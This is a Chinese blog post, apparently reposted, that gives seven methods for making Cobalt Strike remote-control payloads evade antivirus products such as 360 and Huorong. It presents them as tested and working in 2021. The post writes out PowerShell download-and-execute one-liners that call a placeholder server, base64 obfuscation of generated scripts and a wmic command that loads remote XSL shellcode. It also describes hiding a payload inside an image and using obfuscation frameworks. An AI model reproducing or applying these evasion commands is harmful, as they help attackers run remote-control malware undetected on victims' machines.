CS遠控免殺-01


CS遠控免殺-01

前言

攻防實戰中,目標機器幾乎都裝有殺軟,其中絕大部分裝有36X或者火X,不做免殺根本沒法搞。
此處介紹幾種cs免殺上線的姿勢。(盡量別用雲查殺跑。)


方法一:免殺shellcode加載器

截止2021.6.25測試有效
原理和使用方法這里寫的很清楚了:https://github.com/pureqh/bypassAV
實際測試可過36X和火X。靜態動態均未報毒:(親測可用的CS payload有C、Perl、Python、Ruby、Vell(注意勾選x64,x32不適用))
image
image

生成免殺exe,到目標機器執行上線即可


方法二:cs自帶powershell腳本編碼混淆后免殺

截止2021.6.24測試有效(測試用cs版本為4.1,)

1. 本機生成ps1腳本

attacks->packages->payload generator->powershell (不勾選64)
生成后如下圖:(此時執行ps1會被殺)
image

2. 修改IEX執行命令內容

觀察ps1腳本,我們可以對$DoIt進行編碼,然后再解碼,將整個ps1內容進行base64編碼(可嘗試其他加密方式繞過),替換變量DoIt:
解密后變量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后變量))
image

進一步優化,將base64分段處理:
image

3. 執行 :Powershell -ExecutionPolicy Bypass -File zzz.ps1 成功免殺上線

-ExecutionPolicy Bypass將執行策略設置為繞過,這樣可以執行powershell腳本文件。


方法三:變形powershell命令繞過

截止2021.7.7測試有效

1. 生成payload :attacks->web-driverby->scripted web delivery(s) 生成powershell payload。

經測試,其中‘-w hidden’、‘downloadstring’動作會被檢測到。下邊有幾種變形方式成功繞過AV上線:
(pis:360標准版貌似只攔:‘-w hidden’。。。默認生成的cs馬把這個參數刪掉就能過。)
1、echo Invoke-Expression(new-object net.webclient).downloadstring('http://x.x.x.x/a') | powershell -
2、powershell set-alias -name zzz -value IEX;zzz(New-Object Net.WebClient).DownloadString('http://x.x.x.x/a')
3、powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('http://x.x.x.x/a')"
4、powershell.exe -nop -c ".(LS Alias:/IX) ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
5、powershell.exe -nop -c "&(GAL I
X) ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"

2. cmd執行payload成功上線,且殺軟未攔截

image


方法四:利用wmic遠程文件不落地執行shellcode

截止2021.6.30測試有效
參考:https://github.com/Ridter/AMSI_bypass
實際測試可過36X和火X。

  1. 將shellcode.xsl部署在vps上
    image

  2. 在靶機上執行命令,成功上線:
    wmic os get /format:"http://192.x.x.x:8080/shellcode.xsl"
    image

  3. 此方法已在git上發布CS插件(3年前的方法都不修嗎orz)
    image


方法五:cs不落地python payload

截止2021.6.24測試有效(測試用cs版本為4.1,萬萬沒想到竟然有自帶payload可直接上線,大概是對python、go等略新的語言檢測不到位吧)

1. 生成payload :attacks->web-driverby->scripted web delivery(s) 生成python payload。

2. cmd執行payload成功上線,且殺軟未攔截

image

3. 其他幾種默認payload均會殺:

image
image

4. 安裝python2環境

真實環境下,大概率不存在python2環境,那么關鍵在於給目標服務器安裝python2環境。

image

  • 切換到默認安裝路徑:C:\Python27 測試是否安裝成功。(錯誤要根據事件查看器做相應修改)錯誤一:應用程序無法啟動,因為應用程序的並行配置不正確。有關詳細信息,請參閱應用程序事件日志。解決方案:編輯同路徑下文件Microsoft.VC90.CRT.manifest,修改為參考值:
    image

5. 執行payload,成功上線


方法六:把cs的powershell腳本隱寫到圖片的RGB里,然后使其過殺軟

參考:https://www.cnblogs.com/chen-w/p/14649031.html
本文寫明步驟基本如下:

  1. CS通過PayloadGenerator生成一個powershell(x64)payload ---payload.ps1
  2. 下載git項目:https://github.com/dayuxiyou/Invoke-PSImage ,並將payload.ps1及一張正常圖片放入同目錄下
  3. 通過powershell命令生成一張帶有shellcode的圖片shell.png:
  • 設置執行策略
    Set-ExecutionPolicy Unrestricted -Scope CurrentUser
  • 導入ps1文件
    Import-Module .\Invoke-PSimage.ps1
  • 生成帶有shellcode的圖片
    Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web
  1. 步驟3同時會生成一段powershell代碼,將其中example.com替換成可訪問到的vps(圖片記得上傳過去)。
  2. 開啟兩款國產殺軟的情況下,打開powershell命令行,輸入上述代碼成功上線。
  3. 思考:一般情況下獲得的shell無法直接執行powershell命令,通過如下命令調用會報錯(咱也不會改。)
    image
    那只能保存成.ps1,通過powershell.exe -ExecutionPolicy bypass -file z.ps1執行了,測試發現調用ps下載文件的動作會被火X攔。
    image
    image
    那只能再進行一次base64編碼了,
    image
    上傳編碼后的ps1腳本到目標機,通過powershell.exe -ExecutionPolicy bypass -file z.ps1執行,成功繞過AV上線
    image

方法七:利用Invoke-Obfuscation混淆Ps文件實現上線

截止2021.7.7測試有效

1. 著名的海蓮花經常使用的工具,一個powershell混淆編碼框架。

https://github.com/danielbohannon/Invoke-Obfuscation
image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM